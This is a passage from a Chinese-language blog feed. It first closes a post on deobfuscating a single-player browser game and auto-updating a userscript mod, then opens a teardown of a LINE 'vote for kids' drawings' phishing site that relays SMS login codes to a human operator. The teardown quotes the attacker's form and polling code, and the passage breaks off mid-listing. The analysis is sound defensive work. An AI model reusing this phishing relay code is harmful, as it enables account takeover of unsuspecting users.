<text text-anchor="middle" x="781.8" y="-8.2" font-family="Times,serif" font-size="14.00">(失敗用模板)</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M702.45,-29.2C710.43,-29.2 719.02,-29.2 727.48,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="727.35,-32.7 737.35,-29.2 727.35,-25.7 727.35,-32.7"></polygon>
</g>

<g class="node">

<path fill="none" stroke="currentColor" d="M928.52,-50C928.52,-50 873.41,-50 873.41,-50 867.41,-50 861.41,-44 861.41,-38 861.41,-38 861.41,-20.4 861.41,-20.4 861.41,-14.4 867.41,-8.4 873.41,-8.4 873.41,-8.4 928.52,-8.4 928.52,-8.4 934.52,-8.4 940.52,-14.4 940.52,-20.4 940.52,-20.4 940.52,-38 940.52,-38 940.52,-44 934.52,-50 928.52,-50"></path>
<text text-anchor="middle" x="900.97" y="-33.4" font-family="Times,serif" font-size="14.00">build + test</text>
<text text-anchor="middle" x="900.97" y="-16.6" font-family="Times,serif" font-size="14.00">推部落格</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M824.77,-29.2C832.8,-29.2 841.29,-29.2 849.56,-29.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="849.51,-32.7 859.51,-29.2 849.51,-25.7 849.51,-32.7"></polygon>
</g>
</g>
</svg><figcaption>watch.sh：每一關都要過才往下走</figcaption></figure>
<p>Claude 在這裡只做一件事：讀新舊兩版還原碼的 diff，寫兩段說明，一段給 repo 的版本表格，一段給下面的版本紀錄。它只輸出 JSON 文字，不碰任何檔案，插到哪裡由腳本決定，所以文章的其他部分不會被改到。呼叫失敗、逾時或格式不對，就改用模板（commit 訊息、diff 行數、命名遷移結果），更新照樣進行。</p>
<p>外掛和部落格分開把關。外掛要功能測試全過才推；部落格要 <code>npm run build &#x26;&#x26; npm test</code> 全過才推。部落格失敗不會影響已經推出的外掛。同一版最多試 3 次，之後就停止重試，在 log 留一行「放棄」，等我修好再手動重跑。</p>
<p>推送用一把專用的 deploy key，只能寫入外掛 repo 和部落格 repo。</p>
<p>這個流程是無人值守地推到正式環境的。把關讓壞掉的更新很難推出去，但不是不可能。</p>
<h3 id="版本紀錄" class="phrased">版本<wbr>紀錄</h3>
<p><strong>10/16 01:25 · <code>3b32e21</code>（木棒耐久改為 1 次;強化 Android 防竄改）</strong></p>
<p>還原後跟上一版只差 10 行：哥布林木棒的 <code>hp</code> 從 2 改成 1，加上 Boss 狀態機裡一個 <code>if</code> 的寫法。commit 訊息說「強化 Android 防竄改」，但 <code>game.js</code> 裡看不到新的防護，應該是在 Android 包裝那一層。</p>
<p>命名遷移 exact 222, fuzzy 14, missing 0，外掛已支援（<code>0b73151c</code>）。</p>
<p><strong>10/16 01:10 · <code>5c02894</code>（哥布林木棒改為耐久 2 次、速度降低,玩家攻擊可打掉木棒）</strong></p>
<p>哥布林丟出的木棒變成有耐久的投射物，玩家的攻擊可以把它打掉。模糊配對到的函式剛好就是這次改到的地方：玩家的揮砍、突刺、射箭，投射物更新，哥布林投擲。</p>
<p>命名遷移 exact 193, fuzzy 17, missing 0，外掛已支援（<code>8b3282d3</code>）。</p>
<p>本節來源：<a href="#doc-reverse-README"><code>reverse/README.md</code></a></p>
<hr>
<h2 id="11-公開範圍" class="phrased">（11）<wbr>公開<wbr>範圍</h2>
<p><strong>遊戲程式碼一個字都不在 repo 裡。</strong> 原版、還原版、拆掉 IIFE 的版本都沒有。工具執行時從原作者的網站或 GitHub 抓 <code>game.js</code>，還原結果放在 <code>builds/</code>，不進版控。</p>
<p>理由跟 Hololive Dreams 那篇一樣：遊戲是原作者的著作。混淆是作者明確表達「不想被這樣讀」的意思，我可以為了互通性自己還原，但把還原結果整份重新發佈是另一回事。外掛 v3 改成執行時接上官方版本，而不是內嵌還原版，也是為了這個。</p>
<p>公開的有：</p>
<ul>
<li>還原工具。這些是通用的 javascript-obfuscator 還原技術，不針對這款遊戲。</li>
<li>命名對照表（<code>names.json</code>、<code>locals.original.json</code>、<code>maps.json</code>）。內容是識別字名稱，加上正規化過、最長 80 字元的宣告指紋。</li>
<li>本文引用的片段，都是說明需要的短片段。</li>
</ul>
<p>存檔簽章的演算法和鹽有公開。它不是防盜拷措施，是存檔完整性檢查；鹽本來就寫在每個人瀏覽器下載的 <code>game.js</code> 裡；遊戲沒有線上排行榜，改了只影響自己。</p>
<p>這是單機遊戲的學習練習，改了只影響自己的那一局。請不要把這套方法拿去刷有線上排行榜、或會影響到別人的遊戲。</p>
<hr>
<h2 id="附-踩過的坑" class="phrased">（附）<wbr>踩過的坑</h2>
<details><summary>zsh 把 $c:game.js 的 :g 當成修飾符</summary><figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="sh" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="sh" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> c </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> $(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">git</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> log</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> --format=%h</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> --</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> game.js</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">do</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> git</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> show</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> $c</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">:game.js</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> |</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> head</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> -c</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 80</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">done</span></span></code></pre></figure><p>zsh 把 <code>$c:g</code> 解讀成歷史修飾符，路徑變成 <code>…/9d57201me.js</code>，每一圈都失敗。我看到沒有輸出，就以為那個 commit 裡沒有 <code>game.js</code>，結論是「找不到乾淨的原始碼」。原始碼其實一直在那裡，晚了好幾個小時才發現。</p><p>要寫成 <code>"${c}:game.js"</code>。更大的教訓是：<strong>沒有輸出不等於沒有結果</strong>，要先確認指令本身有成功。</p></details>
<details><summary>用 &#x3C;script> 標籤模擬 document-start</summary><p>在本機測試時，我在 <code>&#x3C;head></code> 最前面插了一個 <code>&#x3C;script src="v3.user.js"></code> 當成 document-start。結果 <code>document.open()</code> 被忽略，寫回去的 HTML 裡又含著那個 <code>&#x3C;script></code>，parser 被它卡住，遊戲在 DOM 還沒建好時就執行了。</p><p>parser 插入的腳本，script nesting level 大於 0，<code>document.open()</code> 依規範會被忽略。這個測試方法本身就跟真正的 document-start 不一樣。改用 Playwright 的 <code>addInitScript</code> 才對。</p></details>
<details><summary>addInitScript 太早，測不出 CSP</summary><p>改用 <code>addInitScript</code> 之後，又踩到相反的問題：它比真正的 Tampermonkey 還早執行，CSP 還沒套用，3.0.0 在測試裡全部通過，實際裝起來遊戲卻無法開始。詳見（8）的第 3 小節。</p><p>教訓是模擬環境要比對真正的環境，不能只確定「時機差不多」。現在測試會先確認 CSP 有生效，才算數。</p></details>
<details><summary>外掛要的是 WAVE_DURATION，我取成 WAVE_SECONDS</summary><p>找回常數之後，我把每波秒數取名成 <code>WAVE_SECONDS</code>。功能測試按「下一波」時丟出 <code>ReferenceError: WAVE_DURATION is not defined</code>。v2.5 外掛是照原始碼寫的，名字對不上就壞。</p><p>這也是後來決定全部改用作者原名的原因之一：外掛本來就是照原始碼寫的，命名越接近原始碼，越不會壞。</p></details>
<details><summary>還原時 ObjectSimplifier 刪掉了手機搖桿</summary><p>還原後的移動函式裡出現 <code>if (false &#x26;&#x26; (false || false))</code>。往回追，是 <code>joy.active</code>、<code>joy.x</code>、<code>joy.y</code> 被當成常數摺疊掉了。<code>joy</code> 是 <code>const</code> 宣告的物件，但它的屬性一直在變。</p><p>工具在 log 裡其實有印「Not replacing object … as it is modified」，但那是關掉 <code>unsafeReplace</code> 之後才會檢查的。</p></details>
<hr>
<h2 id="怎麼安裝" class="phrased">怎麼<wbr>安裝</h2>
<ol>
<li><strong>裝 Tampermonkey。</strong> 用 Chrome 的話還要打開 <code>chrome://extensions</code>，點 Tampermonkey 的「詳細資料」，打開「允許使用者指令碼」。找不到這個開關，就先打開右上角的「開發人員模式」。</li>
<li><strong>點<a href="https://git.siao.ai/siao/dungeon-reborn-mod/raw/main/DungeonRebornMod.user.js">一鍵安裝</a>。</strong> 裝過 v2.5 的話，Tampermonkey 會顯示「更新」。</li>
<li><strong>打開<a href="https://a201009200979603117-create.github.io/DUNGEON-REBORN/">遊戲</a>。</strong> 右上角出現「⚔ DUNGEON REBORN 外掛」面板就成功了。桌面版按 <code>`</code> 收合，手機點標題列展開。</li>
</ol>
<p>只想看原始碼、不想安裝的話，打開<a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/main/DungeonRebornMod.user%2Ejs">檢視原始碼</a>，或點文章裡任何一個「在 SiaoHub 檢視」。會跳出安裝畫面的只有上面的「一鍵安裝」。</p>
<p><strong>面板沒出現？</strong></p>
<ul>
<li>先確認第 1 步的開關，再確認網址是上面那個遊戲網址。<code>@match</code> 只對這個網址生效。</li>
<li>打開 Console，應該要看到「<code>[DUNGEON REBORN 外掛 v3] 已攔截頁面載入</code>」和「<code>執行位置：頁面</code>」。顯示「Tampermonkey 沙盒」也能正常玩，只是 Console 裡摸不到 <code>G</code>。</li>
<li>按「開始遊戲」沒反應：你裝的是 3.0.0，請重新點一次「一鍵安裝」更新到 3.1.0。</li>
<li>畫面底部出現紅色的「外掛尚未支援這個版本」：作者又更新了遊戲，目前跑的是原版。等我跑一次 <code>update.sh</code> 推上去就好。</li>
</ul>
<hr>
<h2 id="工具鏈" class="phrased">工具<wbr>鏈</h2>
<table tabindex="0">
<thead>
<tr>
<th>用途</th>
<th>工具</th>
</tr>
</thead>
<tbody>
<tr>
<td>字串還原</td>
<td>自己寫的 <code>reveal.mjs</code>（babel + Node <code>vm</code>）</td>
</tr>
<tr>
<td>proxy、控制流、算式</td>
<td>obfuscator-io-deobfuscator（收緊 proxy 判定、關掉兩個 pass）</td>
</tr>
<tr>
<td>排版</td>
<td>webcrack（只用 unminify）</td>
</tr>
<tr>
<td>命名、遷移</td>
<td>自己寫的 <code>rename.mjs</code>、<code>match-names.mjs</code></td>
</tr>
<tr>
<td>讀頁面、驗證 v2.5</td>
<td>Claude in Chrome</td>
</tr>
<tr>
<td>驗證 v3</td>
<td>Playwright（等 CSP 生效後才執行外掛）、Claude in Chrome + 真正的 Tampermonkey</td>
</tr>
</tbody>
</table>
<ul>
<li><strong>webcrack 要用 <code>npm install --ignore-scripts</code> 裝。</strong> 它相依的 isolated-vm 在 Node 26 編不過，但這裡用自訂的 sandbox，用不到它。</li>
<li><strong>obfuscator-io-deobfuscator 的判定函式可以從外面換。</strong> <code>ProxyFunctionInliner</code> 是透過模組物件呼叫 <code>isProxyFunctionExpression</code>，所以在外面改 <code>require(...).isProxyFunctionExpression</code> 就會生效，不用 fork。</li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://github.com/javascript-obfuscator/javascript-obfuscator">https://github.com/javascript-obfuscator/javascript-obfuscator</a></li>
<li><a href="https://github.com/j4k0xb/webcrack">https://github.com/j4k0xb/webcrack</a></li>
<li><a href="https://github.com/ben-sb/obfuscator-io-deobfuscator">https://github.com/ben-sb/obfuscator-io-deobfuscator</a></li>
<li><a href="https://html.spec.whatwg.org/multipage/dynamic-markup-insertion.html#document-open-steps">https://html.spec.whatwg.org/multipage/dynamic-markup-insertion.html#document-open-steps</a></li>
<li><a href="https://github.com/bryc/code/blob/master/jshash/experimental/cyrb53.js">https://github.com/bryc/code/blob/master/jshash/experimental/cyrb53.js</a></li>
<li><a href="https://playwright.dev/docs/api/class-page#page-add-init-script">https://playwright.dev/docs/api/class-page#page-add-init-script</a></li>
</ul>]]></content:encoded>
    </item>
    <item>
      <title>LINE「繪畫比賽投票」盜號站技術拆解：human-in-the-loop OTP 中繼</title>
      <link>https://blog.siao.ai/line-vote-phishing-teardown/</link>
      <guid isPermaLink="true">https://blog.siao.ai/line-vote-phishing-teardown/</guid>
      <pubDate>Sat, 26 Sep 2026 00:00:00 GMT</pubDate>
      <description>在 LINE 群組流傳的「幫小孩投繪畫比賽」連結其實是盜號站：頁面不收密碼，只收手機號與簡訊驗證碼，後台有真人操作員拿碼即時登入受害者的 LINE。這篇把攻擊者的前端程式碼整個拆開：人工審核狀態機、偽裝成 Meta Pixel 的 anti-bot 指紋引擎、ThinkPHP6 + Vue 後台的 main/sub 權限模型；再用被動 OSINT／憑證家族把它從單一釣魚頁擴到一整個多品牌 phishing-as-a-service（LINE 盜號、假加密貨幣交易所、假 Google Maps、假電商），並附上真實網域、公網 IP 與封鎖清單。</description>
      <content:encoded><![CDATA[<blockquote>
<p>調查日期 2026-09-26。文中的規模數字都是當天的快照，這類叢集的域名每週都在輪替。</p>
</blockquote>
<h2 id="手法定性" class="phrased">手法<wbr>定性</h2>
<p>password-less 釣魚。頁面不收密碼，只收 <strong>手機號 + 簡訊驗證碼</strong>，
對應的是 LINE 的<strong>簡訊碼新裝置登入</strong>路徑（非密碼登入、非 OAuth、非 QR 裝置授權）。
攻擊者拿 <code>phone + SMS code</code> 在自有裝置發起新裝置登入，受害者從頭到尾不知道自己填的是 LINE 真正的登入驗證碼。
頁面本身也刻意不提 LINE：無 LINE 品牌、無 QR code，藉口是「手機號碼用於本次投票聯繫」。</p>
<p>受害者看到的就是這種頁面——品牌 <code>ITEDA 創意繪畫比賽</code>、綠底水彩、一排兒童畫作加上假的票數與排名，每張作品下面一個綠色「投票」鈕（截圖為 <code>sdiet.eu.cc</code> 世代，2026-09-26）：</p>
<p><img src="/images/line-vote-phishing/vote-lure.png" alt="假投票頁：ITEDA 創意繪畫比賽，一排兒童畫作與假票數，每張下面一個綠色投票鈕" width="1600" height="1200" loading="lazy" decoding="async"></p>
<figure class="diagram"><svg viewBox="0.00 0.00 464.00 678.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="人工即時 OTP 中繼的流程">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 673.8)">
<polygon fill="none" stroke="none" points="-4,4 -4,-673.8 459.6,-673.8 459.6,4 -4,4"></polygon>

<g class="node">

<polygon fill="none" stroke="currentColor" points="407.6,-669.8 206,-669.8 206,-621.8 407.6,-621.8 407.6,-669.8"></polygon>
<text text-anchor="middle" x="306.8" y="-650" font-family="Helvetica,sans-Serif" font-size="14.00">LINE 群組收到</text>
<text text-anchor="middle" x="306.8" y="-633.2" font-family="Helvetica,sans-Serif" font-size="14.00">「幫小孩投票」連結</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="343.6,-584.8 142,-584.8 142,-536.8 343.6,-536.8 343.6,-584.8"></polygon>
<text text-anchor="middle" x="242.8" y="-565" font-family="Helvetica,sans-Serif" font-size="14.00">假投票頁</text>
<text text-anchor="middle" x="242.8" y="-548.2" font-family="Helvetica,sans-Serif" font-size="14.00">點「投票」</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M288.97,-621.68C282.37,-613.12 274.76,-603.25 267.65,-594.02"></path>
<polygon fill="currentColor" stroke="currentColor" points="270.56,-592.06 261.68,-586.28 265.01,-596.34 270.56,-592.06"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="343.6,-499.8 142,-499.8 142,-451.8 343.6,-451.8 343.6,-499.8"></polygon>
<text text-anchor="middle" x="242.8" y="-480" font-family="Helvetica,sans-Serif" font-size="14.00">驗證頁：填手機號</text>
<text text-anchor="middle" x="242.8" y="-463.2" font-family="Helvetica,sans-Serif" font-size="14.00">「用於本次投票聯繫」</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M242.8,-536.68C242.8,-528.83 242.8,-519.88 242.8,-511.34"></path>
<polygon fill="currentColor" stroke="currentColor" points="246.3,-511.6 242.8,-501.6 239.3,-511.6 246.3,-511.6"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="343.6,-414.8 142,-414.8 142,-350 343.6,-350 343.6,-414.8"></polygon>
<text text-anchor="middle" x="242.8" y="-395" font-family="Helvetica,sans-Serif" font-size="14.00">後台操作員用該手機號</text>
<text text-anchor="middle" x="242.8" y="-378.2" font-family="Helvetica,sans-Serif" font-size="14.00">在自己的裝置發起</text>
<text text-anchor="middle" x="242.8" y="-361.4" font-family="Helvetica,sans-Serif" font-size="14.00">LINE 新裝置登入</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M242.8,-451.74C242.8,-444.01 242.8,-435.14 242.8,-426.4"></path>
<polygon fill="currentColor" stroke="currentColor" points="246.3,-426.6 242.8,-416.6 239.3,-426.6 246.3,-426.6"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="343.6,-302 142,-302 142,-254 343.6,-254 343.6,-302"></polygon>
<text text-anchor="middle" x="242.8" y="-282.2" font-family="Helvetica,sans-Serif" font-size="14.00">LINE 把真的驗證碼</text>
<text text-anchor="middle" x="242.8" y="-265.4" font-family="Helvetica,sans-Serif" font-size="14.00">傳到受害者手機</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M242.8,-349.56C242.8,-338.23 242.8,-325.42 242.8,-313.85"></path>
<polygon fill="currentColor" stroke="currentColor" points="246.3,-313.87 242.8,-303.87 239.3,-313.87 246.3,-313.87"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="343.6,-217 142,-217 142,-169 343.6,-169 343.6,-217"></polygon>
<text text-anchor="middle" x="242.8" y="-197.2" font-family="Helvetica,sans-Serif" font-size="14.00">受害者把碼填回假頁</text>
<text text-anchor="middle" x="242.8" y="-180.4" font-family="Helvetica,sans-Serif" font-size="14.00">畫面：等待人工確認</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M242.8,-253.88C242.8,-246.03 242.8,-237.08 242.8,-228.54"></path>
<polygon fill="currentColor" stroke="currentColor" points="246.3,-228.8 242.8,-218.8 239.3,-228.8 246.3,-228.8"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="343.6,-132 142,-132 142,-96 343.6,-96 343.6,-132"></polygon>
<text text-anchor="middle" x="242.8" y="-109.8" font-family="Helvetica,sans-Serif" font-size="14.00">操作員把碼輸入 LINE</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M242.8,-168.9C242.8,-161.04 242.8,-152.16 242.8,-143.9"></path>
<polygon fill="currentColor" stroke="currentColor" points="246.3,-143.97 242.8,-133.97 239.3,-143.97 246.3,-143.97"></polygon>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="455.6,-48 254,-48 254,0 455.6,0 455.6,-48"></polygon>
<text text-anchor="middle" x="354.8" y="-28.2" font-family="Helvetica,sans-Serif" font-size="14.00">帳號被接管</text>
<text text-anchor="middle" x="354.8" y="-11.4" font-family="Helvetica,sans-Serif" font-size="14.00">拿來轉發同一條連結</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M264.93,-95.61C279.59,-84.1 299.2,-68.68 316.37,-55.2"></path>
<polygon fill="currentColor" stroke="currentColor" points="318.19,-58.22 323.89,-49.28 313.87,-52.71 318.19,-58.22"></polygon>
<text text-anchor="middle" x="310.49" y="-69" font-family="Helvetica,sans-Serif" font-size="10.00">成功</text>
</g>

<g class="node">

<polygon fill="none" stroke="currentColor" points="201.6,-48 0,-48 0,0 201.6,0 201.6,-48"></polygon>
<text text-anchor="middle" x="100.8" y="-28.2" font-family="Helvetica,sans-Serif" font-size="14.00">登入失敗</text>
<text text-anchor="middle" x="100.8" y="-11.4" font-family="Helvetica,sans-Serif" font-size="14.00">彈窗要求重輸驗證碼</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M214.75,-95.61C195.74,-83.83 170.15,-67.98 148.03,-54.27"></path>
<polygon fill="currentColor" stroke="currentColor" points="150.11,-51.44 139.76,-49.15 146.42,-57.39 150.11,-51.44"></polygon>
<text text-anchor="middle" x="192.85" y="-69" font-family="Helvetica,sans-Serif" font-size="10.00">失敗</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M361.81,-48.29C366.5,-65.9 371.8,-90.75 371.8,-113 371.8,-561.8 371.8,-561.8 371.8,-561.8 371.8,-581.69 360.09,-599.65 346.61,-613.73"></path>
<polygon fill="currentColor" stroke="currentColor" points="344.36,-611.03 339.62,-620.51 349.24,-616.06 344.36,-611.03"></polygon>
<text text-anchor="middle" x="396.8" y="-323" font-family="Helvetica,sans-Serif" font-size="10.00">擴散到聯絡人</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M90.66,-48.44C82.32,-71.69 74.35,-107.32 91.13,-132 101.21,-146.84 115.59,-158 131.53,-166.41"></path>
<polygon fill="currentColor" stroke="currentColor" points="129.74,-169.43 140.26,-170.64 132.79,-163.13 129.74,-169.43"></polygon>
<text text-anchor="middle" x="111.96" y="-111" font-family="Helvetica,sans-Serif" font-size="10.00">受害者重填</text>
</g>
</g>
</svg><figcaption>人工即時 OTP 中繼的流程</figcaption></figure>
<p>擷取條件：iPhone Safari UA + <code>Accept-Language: zh-TW</code>，僅 GET，不執行頁面 JS、不提交欄位。
<strong>未觀察到 UA／geo cloaking</strong>：美國出口與台灣出口拿到相同內容。反分析改由一支偽裝成 Meta Pixel 的指紋採集載荷負責（見後文）。</p>
<h2 id="前端狀態機-review-js-—-判定為人工即時中繼的決定性證據" class="phrased">前端<wbr>狀態<wbr>機<wbr>（<code>review.js</code>）— 判定<wbr>為<wbr>人工<wbr>即時<wbr>中繼<wbr>的<wbr>決定<wbr>性<wbr>證據</h2>
<p>點「投票」後導向的驗證頁，表單直接把號碼與碼 POST 給後台 PHP，URL 上還帶著一枚 per-flow token：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="html" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="html" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">&#x3C;</span><span style="--shiki-light:#024C1A;--shiki-dark:#72F088">form</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> method</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"post"</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">      action</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"/auth/verify.php?u=1&#x26;id=1&#x26;poll=2&#x26;flow=ed06417e730f52394401c8306d424e10"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">></span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">&#x3C;!-- 頁尾： 手機號碼用於本次投票聯繫。 --></span></span></code></pre></figure>
<p><code>review.js</code> 裡的狀態訊息與重輸碼彈窗，是原封不動的攻擊者程式碼：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> messages</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  awaiting_code: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'請輸入簡訊驗證碼'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  pending:       </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'簡訊驗證碼已提交，等待人工確認'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  approved:      </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'驗證成功'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  rejected:      </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'驗證未通過，請重新輸入簡訊驗證碼'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">,</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  completed:     </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'投票已完成'</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">};</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 後台可即時推播 code_prompt_kind:'reentry'，把彈窗標題切成「請重新輸入」</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">modalTitle.textContent </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  kind </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'reentry'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ?</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> '請重新輸入簡訊驗證碼'</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> :</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> '請輸入簡訊驗證碼'</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">// 每 3 秒輪詢後台，失敗時退避 2 / 3 / 5 秒</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> schedule</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">delay</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 3000</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">/* ... */</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> result</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> await</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> query</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">'/api/request-status.php?request_id='</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  +</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> encodeURIComponent</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(form.dataset.requestId)</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  +</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> '&#x26;poll='</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> encodeURIComponent</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(form.dataset.poll), {}, controller);</span></span>
